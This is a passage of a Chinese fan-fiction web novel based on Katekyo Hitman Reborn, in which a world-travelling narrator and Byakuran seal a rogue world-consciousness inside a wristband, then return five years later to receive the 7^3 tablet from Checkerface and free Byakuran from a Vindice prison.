“那是‘点’,他在攻击的地方是‘点’、时空中最薄弱的‘点’、世界的跳跃‘点’!”她瞪大了眼睛,身体有一瞬间的僵硬,眼睛几乎和天空的色彩重合在了一起,“那里很危险!如果那里被破坏的话——后果不堪设想。” “原来如此。”白花花比尤尼酱慢了一步,即使他拥有更多平行世界的知识,可若是论穿越的经验,他依然不能和在平行世界之间不断跳跃的尤尼酱相提并论。 当然,他所欠缺的,也仅仅是经验带来的那一点点的提示而已。 所以当尤尼酱将关键词说出来后,白花花的思路马上就顺畅了起来,“虽然没有用‘我’的身体经历过,但却也已经看到过了……‘外面’的模样。” 将世界乱流引入世界中会变成什么样,别人不知道,但白花花却是可以想象的。 确如尤尼酱所说,是“不堪设想”。 白花花对尤尼酱的声音很敏感,可最先对尤尼酱的声音做出反应的却不是他,而是伽马。 他不像白花花一样,一瞬间就想明白了那些细节。但是面对尤尼酱的需求,他的行动没有任何迟疑。 尤尼酱的话音还未落,他就已经冲了出去。 电流从他的身体内流过,雷的火焰从指环中冒出,双狐的匣兵器和他一起,直线攻向了卷王。 卷王不语,只是一味地将基石沉在了岩浆之下。顺着这些不透明的岩浆,基石很快就消失在了可以被追踪的视野之中。 面对伽马的攻击,卷王也不躲不藏,空门大开,祂仿佛完全没有把伽马放在眼里。 不论卷王是真有什么后手,还是单纯地唱着空城计,伽马都一往无前,没有停下来的意思,相当头铁地就直接撞了上去。 “歘”的一声破空,伽马和自己的双狐匣兵器攻击一起,穿过了卷王虚幻的身体。 “什么——?” 伽马一个急刹,可身体仍然不可避免地撞上了正在攻击世界壁垒的飓风。 顿时,雷之火焰混入了风团之中,宛如积雨云一般,将天空映照得更加不祥。 “幻术吗?”看到这样的画面,正要跟上攻击的了平大哥发出了如此疑问,他无法从肉眼上分辨出这个被伽马穿过的幻影的原理。 但六道·幻术大师·骸摇摇头给出了最权威的答案,“不,那不是幻术。” 他的瞳孔里写着数字“一”,是代表幻术的地狱道。想要用幻术瞒过六道骸的这只眼睛几乎是不可能的事情。 “那就是祂的身体。”接着六道骸的话,我活动了下手腕,一锤定音。 困住我的冰块在纲吉剧烈燃烧的火焰下迅速融化。果然,解铃还须系铃人,他能够冰封火焰,自然也知道,如何使用火焰可以最快解封,“只不过,现在的祂的身体……在一种非常特殊的状态。” 介于实体和非实体之间。 他可以放弃其他的基石,但绝不会把玛雷指环放给白花花,所以祂必须要把握好一个度,一个既能确保自己能和世界意识相连,又要让自己不至于完全丧失实体状态的“度”。 “可这样的话,该如何才能战胜祂?”纲吉有些焦虑,这些纯粹的天灾源源不断,卷王虽然只有一个人,但祂制造出的乱局,却需要大量的人力物力才能平复。 即使如此,损害也在肉眼可见的增长。 我左看右看,这才完全确认纲吉是在和我说话。 实不相瞒,我有些意外。 我还以为,在看到白花花还活着、和白花花对峙,并且听到白花花口中那“约定”之后,他再怎么天真都不应该再对我抱有信任了。 特别是,他的超直感也明显出了些问题,他不能再通过这样的开挂行为来进行结果判断。甚至我觉得,如果卷王做得足够绝,祂完全可以借助世界意识的影响力,将一些不好的信号注入超直感,误导纲吉。 也许,祂已经这么做了。 所以,纲吉这理所当然的对话,才更让我惊讶。他仿佛没有注意到任何应该存在的隔阂一样,就这样信任地朝我开口。 不等我回答,白花花就已经开始了自己的行动。 他用全新的方式调动着自己的“觉悟”,无形的火焰在他的身体中流转,一条小白龙沿着他手臂爬出袖口,盘了上来。 这是他的匣兵器,白龙。 我已经不记得这个匣兵器有没有在战斗中被彻底破坏,只是用眼睛直观地确定,这个实体的白龙一定经历了别样的改造。 匣子在没有指环的情况下,被火焰类的咒力开了匣。 顿时,白花花身上散发出一种强烈的吸引力,主动寻觅着卷王体内的玛雷指环。这种无形的联系也引导着白花花的感知,让他可以无视外表,根据玛雷指环的方向,定位卷王的位置。 和伽马同样的攻击方向、同样的攻击类型,但卷王却给出了完全不同的反应。 祂躲开了。 即使是无形的身体,但祂也动了。 果然,祂无法预估白花花可能会对他造成的伤害,所以一定会尽可能地降低风险。 我猛然回过神来,回答了纲吉的话,“这是无法被阻止的。” 至少就卷王的行动方式而言,这一切都很难被阻止。 谁能阻止世界意识的影响力呢? “可是,他躲开了白兰的攻击。”纲吉自然也看到了那一幕。在如果是无用的攻击,那卷王完全没必要挪动,只用面对伽马的态度来面对白花花就好,但祂动了。 我摇了摇头,“不是可以放到一起讨论的同类型问题。” 卷王现在的状况必须一分为二来看待。 一方面,祂为了不让玛雷指环重新回到白花花的手上,所以必须确保自己保有一部分实体,只有实体才能让祂有机会承载玛雷指环所代表的空间基石;另一方面,祂又让彩虹的基石脱离了体内的石板,藏入了岩浆中,祂需要让自己身体的独立状态向后退了一步,只有非实体的状态才能让祂重新将自己接入世界意识,获得祂现在需要的“影响力”。 “特殊的状态,就要用特殊的手段来应对。” 我不能阻止卷王现在的行为,并不代表不是完全没有办法应对接下来发生的一切。 我检查了一下手环的状态,快速地和空中高速移动的白花花对视了一眼,交换了一个心照不宣的视线——而接下来的关键,就要看我和白花花是否能有足够的默契了。 当然,我和白花花之间可毫无配合可言,所以这很难。 第160章 不能说, 不能说出口。 卷王的听力和特性都决定了我此刻根本无法提前和白花花商议,即使这个距离下,我的声音传到白花花的耳朵里并不困难。 但正是因为不困难——传到白花花的耳朵里不困难, 传到卷王的耳朵里只会更加容易。 不过, 白花花之所以能成为一个毁灭世界级别的重要BOSS,实力是一方面、用人是一方面,但他最突出的, 是情报的整合的能力。 白花花拥有八兆亿个平行世界的知识储备这件事,说起来是个战无不胜的大外挂,可只要亲身经历过几次平行世界的冲刷便会发现,这绝对是一把双刃剑。 即使是平行世界的自己, 即使是“同位体”, 那也是另外一个人——拥有另外一个和自己不完全相同的人生和经历的人。整合“别人”复杂琐碎的记忆,并从中提取对自己、对当下、对特定事件有用的重点,这可不是上下嘴唇一碰就能做到的易事。 一个人的记忆便已经是相当繁复的工作,更何况,类似的同位体, 竟有八兆亿之多, 这是多么庞大的工作量? 也不怪白花花每次使用这种能力后,都疲惫不堪。 精神上的消耗比身体上的劳累更加磨人。 要不怎么说, 卷王受白花花影响颇深呢?两个人在这个地方, 竟然也有相似点。 白花花算是开窍了,不仅有不断触碰世界壁垒的经验, 还有离开世界桎梏之后在穿越司里收获的新知识。这样的特殊经历自然塑造了他独一无二的特殊认知, 就连卷王都暂时无法跟上的认知。 毕竟, 这种认知是在卷王和他之间的联系断裂之后才完成的, 所以至少不会成为卷王素材库的一部分。 我收回视线, 快速评估了一下目前的状况,在纲吉脸侧耳语道:“不要让彩虹之子靠近岩浆,奶嘴的力量被祂投入了其中,「适格者」与基石相互吸引。他们身上的诅咒还没有完全消除,如果奶嘴回到他们手上,诅咒很快就会重新在奶嘴和「适格者」的联系中建立。” 这句话可没有水分,诅咒这种东西本身就是种下容易消除难,将奶嘴和彩虹之子隔断本就不易,如果没有卷王的独吞行为,即使是将奶嘴放入了7^3石板之中,奶嘴和彩虹之子之间的联系也不会消失。 当然,对我来说,不能让彩虹之子接触奶嘴的更重要的原因是,如果他们将奶嘴取回,我再想要争夺的时候,可就麻烦了。 事关彩虹之子,就是事关Reborn,纲吉听得很认真。不仅纲吉听得认真,就连卷王都侧目而来。我虽然刻意压低了些声音,但很显然,我的声音不仅仅传给了纲吉。 不论卷王是通过超强听力直接听到,还是通过某些世界意识的特点,从纲吉的耳朵里获得的答案,都无所谓。 祂之所以会将奶嘴丢入岩浆之中藏匿,就是不希望彩虹之子轻易将奶嘴取回。 我定了定神,接着深吸了一口气,快速地活动起手腕。先前被冰封的冷气仍然留在我的皮肤表层,让我的寒毛直竖,甚至有些麻木。 和我的皮肤相比,手环的质量可就好多了。 虽然因为冷气和水汽,它的屏幕多少出现了显示问题,但影响不大。我觉得可以使用,只不过是一点点色差而已,完全不用放在心上。 最多是有点卡,还有点漏电,不算什么。 我打定了主意,自然不能再拖延下去,否则卷王难免有更完善的适应时间。 穿越世界壁垒,对我来说早已是家常便饭。卷王正在应对白花花的贴脸输出,在没有经历特意阻止我穿越的情况下,几乎不需要费多少力气,我就在爆裂的旋风之中,穿过了天空的边缘。看着眼前的光明变得暗淡,我平静的呼吸也逐渐急促起来。 这世界壁外的时空乱流重新裹挟在了我的身上,世界之内的“天灾”已经让人眼花缭乱,视野被遮。可若是和这世界之外的时空乱流相比的话,那都算是毛毛雨。 “从这里开始。”我低声自语,“祂只会攻击一个点。” 卷王无法分辨世界壁垒的弱点位置,所以只能按我带他穿越的位置行动。 确认了这一点,就等于确认了卷王的位置。 而且,有一点是可以肯定的,祂没有任何外援,是一个人的团队,完全的单打独斗——所以所有的步骤都需要祂亲自完成。 换而言之,只要是异常的地方,必然就是卷王所在的地方。 肉眼可见的未必是卷王的本体,但影响范围所及,却一定是卷王的真正所在。 因为,世界意识本身并不具有强攻击性,真正将影响力转化为攻击性的,就是卷王的那一部分——这部分也可简单地理解为,卷王的灵魂。 可以用肉眼看到的部分,是卷王的身体;无法用肉眼看到的影响力,就是卷王的灵魂。身体依托于7^3石板,可以摧毁再造,但内核的“灵魂”部分却是唯一的。 我深吸了一口气,将手掌贴在世界壁垒外。掌心的触感微微跳动,仿佛是世界的脉搏在彰显自己的生命力。 就连周围刮在我皮肤上刺痛的时空乱流,都无法掩盖这样充满生命力的脉搏。 我让自己的手穿过这层脉搏,向内深入,直到隐隐感觉到天灾接近掌心时候的灼热感。 ——就是这个微妙的位置了。 接着,“文字”从我的手环中逐渐蔓延而出,首尾相扣,如锁链一般,沿着我的手背覆盖到指尖,但也仅限在指尖。 这是个微妙的位置,介于世界内外之间,我没有让“文字”脱离我的身体,只是默默地数着。 “一、二、三……” 时空乱流冲淡了我对时间的感知,也扰乱了我和世界内的时间同步,将未来和过去的时间搅和在了一起,没有起始点的时间,自然也没有任何依凭。 所以,我无法提前和白花花约好时间;所以,我只能等待。 我出奇地有耐心。 毕竟被无尽的穿越和机械化的重复工作折磨过,这样简单的等待,已经不像之前那么难熬。 量变带来质变,我进化了。 等待着、等待着——好吧,可能也没有等多久。 突然,一股清晰地刺痛穿过我的掌心——不同于飓风撩过时流于表面的刺痛,也不同于灼热炙烤掌心时深入血肉的灼痛,就是字面意义上,有东西穿过了我的掌心。 飞溅的血液直直地扑到了我脸上,这个夸张的出血量,几乎给我洗了个脸。 别误会,我的手掌里可没有这么粗的血管来储存如此大量的血液,脸上飞溅的血大部分都不是我的,而是从白色的龙头中喷溅而出的。 毫无疑问,这个龙头就是白花花的匣兵器——虽然狠狠地缩小了好几圈,现在只有三四个直接粗细,仿佛一条能够盘在手腕上的手腕龙,但这个东西穿在我的掌心上,仍然非常瘆人。纯白的龙身上沐浴着鲜红的液体,光滑的龙鳞却留不住这样粘稠的液体,不少血液沿着龙鳞的间隙滴在我的手背和手腕上,甚至钻入了手环有些损坏的缝中。 这个血液对我来说就像是一个触发点、一个集合号,那些密集覆盖在我手背上的“文字”逆着血液的流向蔓延,在白龙的胡须周围,圈出了一个无形的轮廓。 “文字”中弯钩的部分紧紧地勾住看不到的空气,狭长的字体被撑得圆润起来。这些文字就像是一个气球,困住的仿佛只是空气。 但,我很清楚,能够触发“文字”挪动的,只能是体内残存着“文字”痕迹的能量体——在这个世界里,被“文字”限制过的,就只有卷王一个。 我收紧手,五指指腹抠入龙鳞之中——用力、再用力,直至将龙身折断。 匣兵器的后半段没有了我的拉扯,瞬间跌落回世界内部;而我的手再抽回,匣兵器的前半段也便彻底暴露在了时空乱流之中,被瞬间卷得粉碎,就连飞溅出的血液也随之一起消失得无影无踪。 至此,我的掌心里除了“文字气球”之后,再没有了其他无谓的东西。 但奇怪的是,那些蔓延在手环缝隙里的红色却像是嵌入了某种保护区似的,留在了里面——这些红色汇聚成纹,甚至有些好看。 我想,这是因为手环存在着某种保护特质。 我收紧“文字”的“气球”,但却刻意顿了几秒,甚至故意放松了“文字”的囚困,让时空乱流隐隐影响到了“气球”的内部。 就是这几秒的时间,在我没有继续收紧“气球”的情况下,它毫无征兆地瘪了下去。 无形的能量沿着那些血液指明的路线,渗入了缝隙之中。 我控制不住咧嘴一笑。 在没有身体庇护,内部结构还被白龙冲断,周围还全是毒圈的情况下,突然刷新出来一个安全点,稍微正常一点的,都应该知道朝哪个方向跑图。 我手掌抽动,贯穿的伤口没有愈合。在这个伤口中,我能够透过已经消失的白龙看到匣兵器主人的行动——不愧是白花花,真是不负所托。 虽说我的手掌当时就在紧贴着世界内壁的边缘位置,可是这到底只有一个手掌大小的目标,白花花能够缩小匣兵器,并且精准找到攻击方向——他当队友的时候,还真是挺让人安心的。 当然,白花花绝不仅仅是让白龙攻击我,而是将卷王钉在了我的掌心之中——这是只有他才能做到的事情。 7^3之中,只有他,既没有因为被刷新而和卷王关系断裂,也没有真正意义上脱离过旧世界意识的构成,有的只是会让世界意识根据他的行为打补丁的应激本能。 世界意识习惯了注视白花花,习惯了看他又会整出什么花活,然后再根据这些花活打补丁。这种被“注视”的联系,让白花花能够轻易感受到世界意识的大体状态;再根据卷王半独立肉|体的位置复合判断,他才能在一个恰当的时机,让攻击对准卷王发动的“天灾”所攻击的位置——也即我手掌准备接应的位置。 这是没有办法的办法。 在世界之内,世界意识的影响力几乎是绝对的,即使白花花的攻击可以对卷王起效,但终究无法将其与世界意识彻底割裂——除非同归于尽,谁也无法隔着世界意识,杀死或是控制卷王。 必须要让卷王的本体,尤其是和世界意识相连的那一部分脱离世界的庇护。 每个世界的世界意识都是相对独立,无法在世界之外存在。至于那些因为平行世界膨胀而形成的、跨越了平行世界的部分,事实上就是现在的卷王。 换而言之,世界意识本身不能突破世界壁垒,所以一旦离开世界壁垒,卷王自然就会和世界意识分割。 要的就是祂分割的这个瞬间。 当然,我无法确定这部分的卷王是否完整,也不知道白花花究竟能把卷王逼到什么程度。 我用力一握拳,将手环的功能收紧,确保了即使返回世界之内,卷王不会逃出去。 顺便,我敲了敲手环屏幕,“大哥,听得到吗,感觉怎么样,里面应该很安静吧。” 尤其是和卷王过去要兼顾的八兆亿个世界的嘈杂相比,我的手环简直可以称得上是世外桃源。 手环内的卷王没有给我任何回应。 当然,不是祂不想给,而是我不敢让祂上浮到手环禁锢的表面,万一祂还有余力跑出来了怎么办?像卷王这样可以自我检测、自查漏洞并进行弥补的类型,任何招数都只有一次对祂使用的机会。 “别太躁动,听我说说好消息,”我自顾自地想象着卷王该有的反应,对着无法回应的对象单方面安抚,“你想想看自己的两个目的,首先,想离开这个世界去看看世界之外的模样不是吗?跟着我不是比吃掉我更容易?结果都是一样的啦。放心,你不仅会看到世界之外的样子,以后有的是时间给你看更多‘新’的世界。” 论系统的自我修养,以后穿越的活就交给祂来干了。 快穿文变系统文,我也是退休了。 虽然手环内依然不可能有什么反应,但我还是依稀感觉到了卷王的安分——大概不全是我的想象。 无法从我身上夺走特殊的穿越体质,但我跟着我穿越也是另外一个选项嘛,祂没道理会拒绝的。 “然后就是你的‘后顾之忧’,完全不用担心,一会儿我会去把7^3石板带走——” 带走,作为动力源。有它在,还学什么觉悟点燃火焰。获取了就把它和德累斯顿石板合并起来使用。 “——至于白兰,他十有八|九也会是要跟来的,”这可是个不需要我招揽就已经开始拼命塞简历自荐的好奇宝宝,“没有玛雷指环,也没有「适格者」,这个世界不会再膨胀,不会再产生平行世界……” 我的话音还未落,突然就见世界的外壁一颤,一个影子出现在时空乱流之中。 不,不对,不是影子,是一个倒映着地球形状的平行世界! ……? 此时,手环的沉默就显得震耳欲聋了。 ——嘘,小嘴巴,闭起来。 这已经不是我第一次搞乌鸦嘴这样的反向操作了。 产生新的平行世界——白花花你在搞什么? 这才几眼没见,你就又给我搞背刺…… 等等,时空乱流会让时间线变得杂乱无章,没有头、没有尾的…… 里面,现在是什么时间了!? 我心脏狠狠一跳,马上就想进去一探究竟。 “嘶——” 我这一动,感知马上就清晰了起来。手上这毕竟是贯穿伤,果然还是疼的,而且还是那种让我想要流泪的疼。 我深呼吸,还不能直接进去,要先把手上的问题解决掉。这可是我自己的身体,别给我的手留下什么不可逆转的病根。我留在不受世界规则束缚的壁垒外围,回忆着反转术式的使用方法——毕竟有些经验,以前也没少用。 白色的光沿着伤口边缘向内蔓延,萌萌的血小板开始“超雄”工作,细胞也用不正常的方式分裂起来。从血管开始,肉眼可见地生长着,接着是手背上的骨头,最后是肉和皮。 幸好这还是在时空乱流之中,所有不属于我的“杂物”都会被卷碎,就像之前卡在我身体里的龙鳞,在这样的环境里就不会因为恢复得太快而长到肉里去。 时空乱流新的作用持续开发中。 但任何正向的作用,都无法抵消时间不同步带来的风险。 反转术式使用时唯一的问题就是,伤口修复的时候真的非常痒,好想挠一挠。 我碰了一下一边结痂一边脱落的地方,有点痒、有点刺痛,还有点……爽。 难道我真的有什么抖M的潜质不成? 我没忍住,按了一下又一下,直到体内的血球们开始抗议。 血痂脱落,被卷入时空乱流之中。我抽时间看了一眼那个被重新创造出来的平行世界,蓝色的星球上映着灰蒙蒙的影子,仿佛光线被主线的世界完全遮挡,更重要的是,这两个世界之间真空着,没有一点时空乱流蔓延的痕迹。 这很不对劲,平行世界产生会割断时空乱流,所以每产生一个世界,时空乱流就会多一重缓冲。我之前也亲眼见证、亲身经历过了,世界之间一定会充斥着时空乱流,这是保护也是桎梏,是世界经历八兆亿次膨胀都没有改变的东西——否则,穿越平行世界的能力怎么会如此珍贵。 没道理在这种时候,说变就变了啊。 难道是没有卷王的世界意识,改变了原有规则? 我皱眉——说实话,这个新生的平行世界,和之前的性质就完全不同,它和主线世界不像是平行的关系,反倒像是主线世界的影子。 两种关系的区别在于,平行关系中的两个世界互不干涉,而本体与影子的关系,则是相互衔接的。 我隐隐察觉到,两个世界在时空乱流的包裹里,正在逐渐靠近。 应该不是我的错觉,我伸出一根指头,用指头为尺,虚空测量着两个世界之间的距离。 间距,真的在缩小! 这样下去,两个世界真的不会撞在一起吗!? 没有时空乱流的隔断,世界与世界相撞……到底会发生什么啊。 “在这里想破脑袋也想不清楚的,不管是什么情况,进去看看就知道了。” 掌心的贯穿伤已经好了许多,我闭上眼睛,一个猛子扎到了世界之内。 也不知道卷王还有没有留在世界之内的部分,不知道那些天灾的影响到了哪个程度—— ……嗯? 一片艳阳天? 天空澄澈得没有一丝阴霾,什么风卷残云,电闪雷鸣都不存在——这算是一个好消息,至少说明卷王的影响力已然不再。 那随着好消息而来的坏消息就是,我穿过壁垒时,眼前的画面却并非我离开时所见。 不仅仅是天灾的平息,仍然眼前的一切都不一样了,建筑、面孔、花草树木,甚至就连呼吸的味道都不一样了——这里显然不是并盛,是某个近海的地方,空气里满是海浪的湿咸味道。 至于那些天灾留下的痕迹:岩浆过境的焦黑、飓风卷过的折枝、海浪蒸发的盐碎……这里甚至都不是并盛了,那些比较集中的天灾,自然没有一点存在过的痕迹。 我蹲在地上,用力地捂脸揉搓。天哪,那我究竟是到了个什么地方。 穿越的那个“点”,就算有误差,也不应该“差”成这样吧? 我脑子首先就冒出了一个结论——时间果然出了问题。 紧接着,建立在这个时间问题上,我意识到了平行世界产生的原因,白花花不会以为我丢下他跑路,所以破罐子破摔,或是想要用曾经用过的方式再加逼我回来吧? 请苍天,辨忠奸! 不论是出于穿越司的员工空缺,还是出于对卷王的承诺,我还是很渴望将白花花带走的。 绝对没有用了就丢的意思。 但这样的辩驳,连我自己都觉得苍白。 不等我动身去找谁,就已经有人先一步动身找到了我。 “诶呀,终于回来了啊,就连我都差点要觉得,那场动乱是一场诡异的梦了。” 没有一点靠近的脚步,只有从身后传来的言语。我站起来,猛一转身。 年轻的、陌生的身影让我一时间没有给这张戏份不多的脸对上名字。 当然,这毕竟也是原作的重要角色,几秒之后,我反应了过来,“是该叫你川平好呢,还是伽卡菲斯比较好?” 这不是一直隐藏在暗中观察,最后一篇章才真正揭露身份的真·地球人吗? “名字什么的,只是个可以变化的代号,怎么叫都无所谓。”他穿着身松垮的浴衣,平光镜挂在鼻梁上,“不过,我最初的名字确实是伽卡菲斯。但活着的人里,应该没有几个知道才对。而那几个知道这个名字的人,我也都有印象,你——好像不在我的印象里呢。” “是吗,但我对你印象还蛮深刻的。”我耸了耸肩,重新叫了一次他的名字,“伽卡菲斯。” “是因为——‘世界’?”平光镜遮挡不住他的眼神变化。 他指的应该就是世界意识,或者说,是观看这个世界的那种上帝视角。 “算是吧。”我颔首,他既然知道先前发生的一切,不论是否默默参与其中,此时嘴硬都没有价值,“你是在等我?” 回想他最开始说的那句话,很明显就是在等待我的人才会说出的话。 “嗯。”伽卡菲斯果然点头。 这可就微妙了,“你怎么确定,一定能等到我的?” “有未尽之事,你一定会再回来——只是时间的问题而已。”他说话时,重音了“时间的问题”这几个字。 我本来就对这个话题敏感,顿时心领神会,他指的不是我早晚都会回来的问题,而是我回来的早晚会出现问题。 他难道知道时空乱流的存在吗?还是说……彭格列指环出现了问题? 我沉默地看着他,既然他故意重音,自然就会为我解惑。 果不其然,伽卡菲斯使用技能「袖里乾坤」,从一个薄薄的、看上去还很飘逸的浴衣袖口中,掏出了一块灰色的、沉重的石板。 他究竟把石板藏在了哪里,又怎么藏进去的? 我走神了一瞬,这才抬眼,“给我的?” 石板上,赫然镶嵌着完整的7^3基石,彭格列指环、玛雷指环还有彩虹之子的奶嘴。 石板一切如旧,仿佛从来都没有成为另外一个人的身体。 我心里雀跃了一下。 石板如此安稳、如此完整,就已经说明,卷王的意识也没有残存在石板之中。否则,这个石板就应该是相对独立的人形模样。 手环一阵发烫,在7^3石板出现的一瞬间,手环内的意识便已经开始躁动。 卷王果然还是在渴望着独立的身体。 只要返回穿越司,也不是不能给他。系统要使用,总是要有一个主机的吧——换句话来说,卷王是软件,石板是硬件,二者搭配在一起,使用更佳。 我警惕地看了一眼伽卡菲斯,摸不清他的目的是什么。 但是——! 富贵险中求,并不管是什么目的,总之我先把7^3石板拿到手再说。 在伽卡菲斯把手收回去之前,我果断把石板拿到了我自己手上。 他见我几乎没有犹豫,就将7^3石板接了过去,微微一笑。 不需要我开口问,伽卡菲斯本就不打算做糊涂账,主动开口,提起了前因——只不过,是很久很久之前的“前因”。 “在过去的数万年间,我的种族都肩负着用火焰维持世界稳定的使命,直到因为种种原因,我们的种族数量开始削减——甚至锐减。火焰不再充足,我才将‘力量’分成了三份——也就是你现在所看到的这三大基石。” 伽卡菲斯口中的设定仍然是原设,他见过眼神中并无惊讶和好奇,很快便跳过了一些他所经历过的不具有必要性的细节,“当然,想必这些事你早就已经知道了。能够达到基石所需条件的「适格者」很少,即使成为「适格者」,能够承载基石的时间也很有限。特别是彩虹之子的那一角,所以彩虹之子的诅咒虽然在交替,但大空一直都稳定在我们的种族之中……即使他们自己并没有意识到。” 想起来了,原作中伽卡菲斯曾经说过,他和尤尼才是这个世界上,唯二的、真正纯粹的地球人。 “我曾经一直坚定地认为,这是唯一可以维持世界稳定的办法。” “‘曾经’?”我挑眉,“那就是说,你现在不这么认为了。” 如果他还那样认为的话,无论如何都不可能这样主动把7^3石板交给我的。 “我所做的一切、我存在的一切,都是为了保护这个世界,守护世界的稳定。我从来没有想过,7^3石板会诞生出自己的意志。而且这个‘意识’,还是毁灭世界的意识。”伽卡菲斯的杀意一闪而过,却毫不掩饰。 我:…… 额,其实,那不是石板的意识。 我好像在无意中,给伽卡菲斯的肩膀上压了一座名为愧疚的大山,让他反复地反省自己的决定。 但仔细想想的话,没有7^3石板,也就没有7^3的基石,也就没有玛雷指环,也就没有无限膨胀的平行时空,也就没有变薄的世界壁垒,也就不会产生卷王,卷王也就不会攻击穿越司,也就没有我的此行。 嗯,没错,就是这样。 “是我一直把这个世界当作了最初的模样,却没有意识到,它早就成熟了,早就不再需要特殊的、过度的守护。”伽卡菲斯一时有些怅然若失,像是长久肩负的责任一下子消失,反倒让他无所适从。 事实虽然并不如伽卡菲斯所想,世界稳定的原因很大概率是因为剧情的结束。当一个漫画或是动漫完结,其所涉及的世界却仍然会继续向前运行,只是此时的世界,脱离了高维的控制,变成了完全独立的世界。 这样的世界没有外力的干涉,反而才会是最稳定的状态。 但就结果而言,伽卡菲斯的结论也没差。毕竟只要7^3石板——或者说,玛雷指环还存在,就很难说未来会不会重蹈覆辙。 一想到那个突然出现的新世界,我就感觉胸口被压上了一块重石。仿佛前方有一个未知的坑,坑上覆盖着一层薄雾,让人看不清深浅。薄雾下面或许只有十厘米,也或许有十米,甚至或许是十万米,可在我踩下去的之前,却不能得知答案。 这样的慢刀子,可比一刀痛快点杀了我还要难受。 当然,我的这些心情,伽卡菲斯是体会不到了。当然,他也并非完全没有注意到我暗含纠结的眼神,但他似乎误会了我纠结的点,纠结了一下才开口,“这样一来,7^3就成了一个定时炸弹,与其将毁灭世界的隐患留下来——” “——不如把隐患交给我,是吧?”我接上了他的话。 伽卡菲斯点头,这或许就是他刚才略有犹豫的原因——毕竟是要把“定时炸弹”丢给别人,多少会有些情绪变化。不过他的共情非常短暂,很快便颇有自信地说道:“反正,你本来也是这样打算的,不是吗?7^3的力量很珍贵、很强大——正是因为它拥有毁灭世界的可能,所以才强大。” 我挑眉,默认了他的话。 你好我好大家好,这确实也是我需要的东西,即使伽卡菲斯不开口,我大概也会将7^3带走——至少会把玛雷指环这一部分带走。 绝不能再给世界意识一个产生卷王的机会。 再次想起那个平行世界,我情绪沉闷起来,觑了一眼伽卡菲斯,用直白的语气,旁敲侧击地问话,“白兰呢,我知道我和这个世界的时间线之间出现的错位,现在的时间点又是什么时间点?以那个‘十年前’的时间点为参考。” 这两个问题的本质,对我而言是一样的,都是帮我确定这个世界的进度。 伽卡菲斯的出场画面很少,我实际与之直接接触的时间就更少,所以我多少有些拿不准伽卡菲斯的调性。 接手了“定时炸弹”,短暂地和谐了一下,我问两个问题,他至少得回答一个吧。 伽卡菲斯出乎意料的大方,或者说,对他而言,不论是白兰还是时间,都是不足挂齿的细枝末节。 “可以说你迟了五年,也可以说你提前了五年。”伽卡菲斯摊手,仿佛在向我展示这个世界。我瞬间理解了他的意思,以十年前的时间为起始点,这里是“五年后”的世界。 “至于白兰——”伽卡菲斯转头,指向了不远处正在涨潮的海滩,“你还有未尽之事,要去看看吗?” 【全文完结】 第161章 深刻怀疑, 不是伽卡菲斯能够预测我出现的位置,而是白花花能够在任何情况下找到最适合穿越的“点”。伽卡菲斯只是因为知道白花花的判断,所以才会在暗中盯着白花花, 于是在这里蹲到了我的出现。 我远远地看着白花花脚踝上戴着的特制锁链, 金属混着海水和海沙在他的干净的皮肤上摩擦成痕。 有种……涩涩囚禁Play的感觉。 别说,就白花花现在的样子,竟然还真有几分惹人怜爱的味道。 “这是他自己选择的‘监狱’。”伽卡菲斯在我身后补充解释, “需要给你解释他身处监狱的原因吗?” “不用。”我摇摇头。 六道骸那样的都得当十年凤梨罐头,白花花做过的事,可比六道骸危险多了。要是我,我也不能放任他直流, 更何况是黑|手|党的世界。 我的手指摸索着手中的7^3石板, 基石整整齐齐地码在石板上。 “所以,世界是真正意义上‘重启’了一次,对吗?” 伽卡菲斯但笑不语。 我明白了,他也是重启的参与者之一。 想要驱动7^3石板没有那么容易,尤其是经历过一次出错、有过一次石板化人的“前科”之后, 任谁在重新使用石板能力的时候, 都会有所顾忌。 而就是在这种顾忌和谨慎纠结之中,伽卡菲斯登场了。 当然, 他登场的主要原因并非为了帮纲吉他们找回自己的时间线, 也不是让世界刷新从头来过,而是为了7^3石板。 确切地来说, 是为了消除7^3石板的隐患。 但不论伽卡菲斯的目的为何, 有他的帮助, 不论是7^3石板的使用, 还是重启世界, 都能事半功倍。 毕竟他对这个世界实在是太熟悉了。 正在此时,海滩上的白花花毫无征兆地突然回头。隔着斜坡和海风,他的视线甚至没有一点偏移,像是自带锁头挂一样,撞到了我的眼睛里。 一时无言。 他的眼神和我想象中的完全不同,既没有见到意想不到人的惊讶,也没有被爽约多年的愤怒,甚至没有发怔、没有因为多年拖延而带来的慢半拍反应——意外的,白花花是个很耐得住性子的人,看不到结束点的等待也没有让他闲得发疯。 他的眼睛炽热、澄澈——完全不像是一个反派BOSS该有的样子,反而像是一个对未知充满了热情的冒险家。 他从我的眼睛里看到了自己,余光分了一部分给我手上的7^3石板,但却似乎完全忽略了我旁边的伽卡菲…… 嗯? 伽卡菲斯人呢? 我侧首,却发现刚才还在我身后说话的人,突然消失了踪迹。 伽卡菲斯真是专业NPC,需要的时候随机刷新,不需要的时候消失得无声无息。 只不过,伽卡菲斯看似是消失了,可我被注视的感觉却没有消失,他大概仍在暗处观察着我。 想想也是,他也不可能轻易对我付出全部的信任,更多的是互相利用。 所以,他必然要亲眼看着我彻底离开这个世界才能安心。 至于我离开世界的时候是什么样子,会带什么土特产,伽卡菲斯不会在意。 “终于等到你了。” 白花花的嘴型将我的注意力抓了回来。 不等我朝他走去,他便已经转身向我走来,随着他一步步向前,赤|裸的双脚离开沙滩,脚踝上的锁链不动自开,无声地留在了软沙上。 既然是被监禁,当然不会没有狱卒。 脚镣坠落的瞬间,暗色的火焰仿佛无形地锁链,沿着沙地蔓延,飞快地窜向了白花花。 那是复仇者的火焰。 我从斜坡上一跃而下,石板带着我重重地落在沙滩上,多色交织的火焰沿着7^3基石倾泻,以更快的速度冲散了环绕而来的复仇者火焰。白花花的大空火焰更是以咒力的形态,肆意地反向攻击,几息之间便将复仇者火焰的来源石化成了无法移动的固体。 可视线扫过去,这才发现那所谓的“看守者”并非真人,而是一团浓烈的火焰。 不是吧?连个活人都不派,也不用罐头封装——想当年,就连Ghost可都是罐装同位体。复仇者监狱难道真的认为,这样的火焰和锁链可以困住白花花吗? …… 好吧,这个装置似乎也确实成功了五年,但那不是因为白花花本来就不打算离开这个穿越点所在的位置吗? 啊——一切都在于自愿。 我脑子里突然闪过一个念头,这不会都是故意的吧。 故意让白花花有离开的机会? 我腹诽着,还真有可能。 